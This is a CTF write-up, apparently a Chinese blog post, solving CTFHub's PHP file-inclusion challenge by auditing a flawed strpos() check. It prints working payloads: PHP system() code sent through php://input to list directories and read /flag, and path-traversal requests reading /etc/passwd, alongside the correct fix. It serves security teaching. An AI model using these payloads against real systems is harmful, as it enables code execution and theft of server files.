CTFHub RCE通关笔记5:文件包含 远程包含

目录

一、文件包含

二、渗透准备

1、访问靶场

2、查看phpinfo信息

3、源码分析

(1)代码审计

(2)分析strpos逻辑

(3)分析include逻辑

三、php://infput法渗透

1、原理分析

[(1)检查对象:_GET\["file"\] 这个字符串本身。](#(1)检查对象:_GET["file"] 这个字符串本身。)

[(2)执行对象:include 语句处理 php://input 协议时的真实行为。](#(2)执行对象:include 语句处理 php://input 协议时的真实行为。)

2、渗透实战

(1)查看根目录下文件

(2)查看flag文件

四、strpos黑名单绕过法渗透

1、原理分析

2、渗透实战

(1)访问/etc/passwd

(2)访问/flag

[第1步:安全检查 - if (!strpos(_GET\["file"\], "flag"))](#第1步:安全检查 - if (!strpos(_GET["file"], "flag")))

[第2步:文件包含 - include _GET\["file"\];](#第2步:文件包含 - include _GET["file"];)


本文讲解CTFHub的RCE-文件包含-远程包含关卡的原理和渗透实战的全过程,系统分析了CTFHub中RCE-文件包含的利用方法。通过审计靶场PHP源码,发现开发者错误使用strpos()函数导致安全防护失效,允许包含flag开头的文件。文章介绍了两种攻击方法:1)利用php://input协议执行POST请求中的PHP代码;2)通过构造以flag开头的路径(如flag/../../../flag)绕过黑名单检查。实战演示了如何查看系统目录和读取flag文件内容。文章还指出正确的防护方法应使用strpos()===false进行严格比较。

一、文件包含

文件包含安全风险源于应用程序在包含文件(如配置文件、模板页)时,未经严格校验就使用了用户可控的输入作为文件名 。攻击者可以利用它读取敏感文件或执行任意代码。在PHP中,includerequireinclude_oncerequire_once 这些语句的设计初衷是为了代码复用。但当开发者动态包含文件时,如果直接将用户输入的参数(如 $_GET['file'])拼接到文件路径中,就创造了被攻击的条件。

  • 本地文件包含(Local File Inclusion, LFI )是指攻击者只能包含目标服务器本身上的文件。
  • 远程文件包含(Remote File Inclusion, RFI )是LFI的"升级版",指攻击者可以包含远程服务器 上的文件。这需要PHP配置中 allow_url_include 选项设置为 On(通常默认是 Off)。

本地保护与远程包含的区别可以用如下比喻:

  • 文件包含风险 :你家有个洞(未经严格校验就使用了用户可控的输入作为文件名)。

  • 本地文件包含(LFI) :小偷通过这个洞,只能偷到你家里的东西(服务器上的文件)。

  • 远程文件包含(RFI) :这个洞变成了一个传送门(allow_url_include=On),小偷可以通过它把外面世界的武器(远程服务器上的恶意代码)传送到你家里并直接使用

二、渗透准备

1、访问靶场

开启burpsuite,firefox浏览器开启代理指向burpsuite。在浏览器中地址栏输入靶场的URL地址。

复制代码
http://challenge-2ff3da7a28efd219.sandbox.ctfhub.com:10800/

访问URL进入到靶场首页,如下所示这是一个显示靶场源码的页面。这段PHP 代码的核心逻辑是通过 GET 参数file接收文件名并进行包含,但禁止包含包含 "flag" 字符串的文件。如果未传递file参数,则则展示当前文件的源代码,同时提供了 phpinfo.php 的链接。

2、查看phpinfo信息

点击phpinfo,跳转到/phpinfo.php页面,完整的URL地址如下所示。

复制代码
http://challenge-2ff3da7a28efd219.sandbox.ctfhub.com:10800/

在phpinfo页面搜索"allow_url"关键字,如下所示发现allow_url_fopen和allow_url_include都是on的状态,说明存在文件包含的安全风险。靶机服务器开启了**allow_url_include=On,意味着靶机具有远程包含的安全风险。**

3、源码分析

(1)代码审计

分析源码,其核心防护是阻止包含含有 "flag" 字符串的文件,对代码进行详细注释,如下所示。

复制代码
<?php
// 关闭所有错误报告,隐藏可能泄露信息的错误提示
error_reporting(0);

// 检查是否通过GET请求传递了名为'file'的参数
if (isset($_GET['file'])) {
    // 检查'file'参数值中是否不包含"flag"字符串
    // strpos返回字符串首次出现的位置,若不包含则返回false
    if (!strpos($_GET["file"], "flag")) {
        // 如果不包含"flag",则包含该文件
        include $_GET["file"];
    } else {
        // 如果包含"flag",则输出"Hacker!!!"提示
        echo "Hacker!!!";
    }
} else {
    // 如果没有传递'file'参数,显示当前文件的源代码
    highlight_file(__FILE__);
}
?>
<hr>
<!-- 页面显示的提示信息 -->
i don't have shell, how to get flag?<br>
<!-- 提供phpinfo.php的链接,可能用于获取服务器配置信息 -->
<a href="phpinfo.php">phpinfo</a>

(2)分析strpos逻辑

  • 功能strpos($haystack, $needle) 用于查找字符串 $needle 在另一个字符串 $haystack首次出现的位置

  • 返回值

    • 如果找到,返回的是第一次出现的索引位置(从0开始计算)

    • 如果没找到,返回 false

  • 举例: 让我们看几个例子,假设 $_GET["file"] 是以下值:

    $_GET["file"] 的值 strpos(..., "flag") 的返回值 含义
    "example.txt" false 字符串中没有 "flag"
    "flag" 0 "flag" 在字符串的开头(位置0)
    "/path/to/myflag.txt" 10 "flag" 在字符串的位置10
    "/path/to/the_flague" 13 "flag" 在字符串的位置13(找到flag
    "flagger" 0 "flag" 在字符串的开头(位置0)

(3)分析include逻辑

if 条件语句会对括号内的表达式进行真假判断 。在PHP中,不同类型的值在逻辑判断中会被转换为布尔值(truefalse),这个过程称为"弱类型比较"。

复制代码
if (!strpos($_GET["file"], "flag")) {
        // 如果不包含"flag",则包含该文件
        include $_GET["file"];
    } 
  • false 转换为布尔值是 false

  • 整数 0 转换为布尔值是 false

  • 任何非零整数 (如 1, 10, 999)转换为布尔值是 true

现在,我们应用 ! (逻辑非) 操作符,并填入上面的例子,会发现当GET传入的字符串如果以flag开头,也会执行文件包含,具体如下表所示(flag和flagger都会执行include)。:

$_GET["file"] 的值 strpos(...) 返回值 if 中的布尔值 ! (逻辑非) 后的结果 include 是否执行?
"example.txt" false false true
"flag" 0 false true
"/path/to/myflag.txt" 10 true false
"/path/to/the_flague" 13 true false
"flagger" 0 false true

这行代码 if (!strpos($_GET["file"], "flag")) 是一个反面教材,它告诉我们:

  • 永远不要混淆"返回值"和"布尔成功值"strpos() 返回 0 是一种成功的找到,而不是失败。

  • 使用严格比较 :修复的正确方法是使用全等运算符 === 来明确检查返回值是否为 false

    // 正确的、安全的检查方式:只有完全找不到"flag"时才为true
    if (strpos(_GET["file"], "flag") === false) { include _GET["file"];
    } else {
    echo "Hacker!!!";
    }

三、php://infput法渗透

php://input 可以访问请求的原始数据的只读流,当使用 POST 方式提交数据 ,php://input 就可以获取到 POST 提交的内容。通过构造一个 POST 请求,将恶意 PHP 代码作为请求体发送。

1、原理分析

php://input 能够绕过的根本原因在于:代码的检查对象和执行对象是不同的东西。为分析为何可以绕过,首先回顾关键代码,具体如下所示。

复制代码
if (!strpos($_GET["file"], "flag")) {
    include $_GET["file"];
} else {
    echo "Hacker!!!";
}

(1)检查对象$_GET["file"] 这个字符串本身

  • 代码只检查参数字符串里是否包含子串 "flag"

  • php://input 这个字符串中不包含 flag 这个词。strpos("php://input", "flag") 会返回 false

  • 因此,if (!false) 条件为 true,安全检查被绕过,代码执行 include "php://input";

(2)执行对象include 语句处理 php://input 协议时的真实行为

  • include 遇到 php://input 这个流包装器(Stream Wrapper) 时,并不会去包含一个叫做 php://input 的文件。

  • 它的行为是:读取当前HTTP请求体中(Request Body)的原始数据,并将这些数据当作PHP代码来执行

  • 攻击者可以将真正的恶意Payload(例如 <?php system("cat /flag");?>)放在POST请求的Body 里,而不是GET参数 file 里。

2、渗透实战

(1)查看根目录下文件

首先发送 <?php system('ls /');?> ,服务器执行 eval() 函数时就会执行攻击者发送的系统命令,列出服务器根目录下的文件和目录信息,具体如下所示。

分析如上运行结果,一共列出如下目录和文件信息,包含flag文件(如上图红框所示)。

复制代码
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

(2)查看flag文件

首先发送 <?php system('cat /flag');?> ,服务器执行 eval() 函数时就会执行攻击者发送的系统命令,查看flag文件内容,如下所示渗透成功。

查看burpsuite中的报文,如下所示。

四、strpos黑名单绕过法渗透

1、原理分析

开发者想实现一个黑名单:"如果参数里包含 flag 这个词,就拒绝请求;否则,就包含它"。他期望的逻辑是:if (找不到"flag") { 执行包含; }

实际的安全风险点: 由于对 strpos() 返回值和类型转换的理解错误,代码实现的逻辑变成了:
"如果找不到'flag', 或者**'flag'就在字符串的开头,就执行包含。"**

这造成了两个严重的后果:

  • 黑名单被绕过 :攻击者可以直接请求包含名为 flag 的文件。

    • 攻击Payload: ?file=flag

    • 分析: strpos("flag", "flag") 返回 0 -> if(!0)if(true) -> include "flag" 成功执行。开发者本想阻止这个操作,但由于逻辑处理考虑不周,反而允许了。

  • 过滤不彻底 :攻击者可以使用路径遍历 和其他方式,只要确保 flag 这个词出现在路径的开头部分,就能绕过过滤。

    • 攻击Payload: ?file=flag/../../../../etc/passwd (假设目录存在)

    • 分析: strpos("flag/../../../../etc/passwd", "flag") 返回 0 -> if(!0)if(true) -> 包含操作成功。攻击者通过这种手法可以访问系统上的任何文件,只要路径中以 flag 开头即可。

2、渗透实战

(1)访问/etc/passwd

攻击Payload: ?file=flag/../../../../etc/passwd

复制代码
http://challenge-eb543f10e73658b3.sandbox.ctfhub.com:10800/?file=flag/../../../../etc/passwd

(2)访问/flag

攻击Payload: ?file=flag/../../../../flag

复制代码
http://challenge-eb543f10e73658b3.sandbox.ctfhub.com:10800/?file=flag/../../../../flag

如下所示,成功获取到flag,值为ctfhub{95d3327e45912c18aac5f701}。

逐步分析执行过程,具体如下所示。

第1步:安全检查 - if (!strpos($_GET["file"], "flag"))
  • 代码执行:strpos("flag/../../../../flag", "flag")

  • 返回值0。因为子字符串 "flag" 在输入的字符串中最开始的位置(索引0)就出现了。

  • 逻辑判断:if (!0)

    • 在PHP中,整数 0 在弱类型比较中等价于布尔值 false

    • !false 的结果是 true

  • 结果:安全检查通过!因为开发者的本意是"如果找不到flag这个词才允许包含",但逻辑错误导致"如果在开头找到flag也允许包含"。

第2步:文件包含 - include $_GET["file"];
  • 现在,代码要执行:include "flag/../../../../flag";

  • PHP的 include 路径解析规则

    • include 会将这个路径字符串作为一个整体进行解析。

    • 它会遵循操作系统的路径解析规则,处理其中的特殊符号:

      • ../ 表示上一级目录

      • ./ 表示当前目录

    • 解析过程是从左到右进行的。

  • 分析路径解析过程(假设当前脚本所在目录为 /var/www/html/):

    • 起始点:/var/www/html/ (这是执行脚本的当前目录)

    • 拼接 flag//var/www/html/flag/ (尝试进入一个名为 flag 的子目录)

    • 遇到第一个 ../:回溯到上一级目录 -> /var/www/html/

    • 遇到第二个 ../:继续回溯 -> /var/www/

    • 遇到第三个 ../:继续回溯 -> /var/

    • 遇到第四个 ../:继续回溯 -> / (根目录!)

    • 最后拼接上 flag/flag

  • 最终,include "flag/../../../../flag"; 执行效果为包含根目录下的文件:/flag

相关推荐
mooyuan天天2 天前
CTFHub RCE通关笔记1:eval执行(两种方法渗透)
rce·eval·命令执行·ctfhub
mooyuan天天14 天前
CTFHub SSRF通关笔记10:DNS重绑定 Bypass 原理详解与渗透实战
ssrf·ctfhub·ssrf漏洞·数字ip·dns重定向·dns重绑定·ssrf dns重绑定
mooyuan天天15 天前
CTFHub SSRF通关笔记7:URL Bypass 原理详解与渗透实战
ssrf·ctfhub·ssrf漏洞·ip绕过·url绕过
mooyuan天天19 天前
CTFHub靶场之SSRF Gopher POST请求(python脚本法)
ssrf·ctfhub·gopher·ssrf漏洞·ssrf gopher·gopher协议
mooyuan天天20 天前
phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(vulhub CVE-2018-12613)
文件包含·文件包含漏洞·web漏洞·phpmyadmin·web框架漏洞·cve-2018-12613·session文件包含
mooyuan天天20 天前
phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(windows CVE-2014-8959)
文件包含漏洞·phpmyadmin·cve-2014-8959·web框架漏洞
茫忙然1 个月前
【WEB】[BUUCTF] <GXYCTF2019禁止套娃>《php函数的运用》
php·web·rce
_BlackBeauty2 个月前
ctfshow_萌新web9-web15-----rce
ctf·绕过·rce·flag
小猫会后空翻2 个月前
RCE真实漏洞初体验
渗透·rce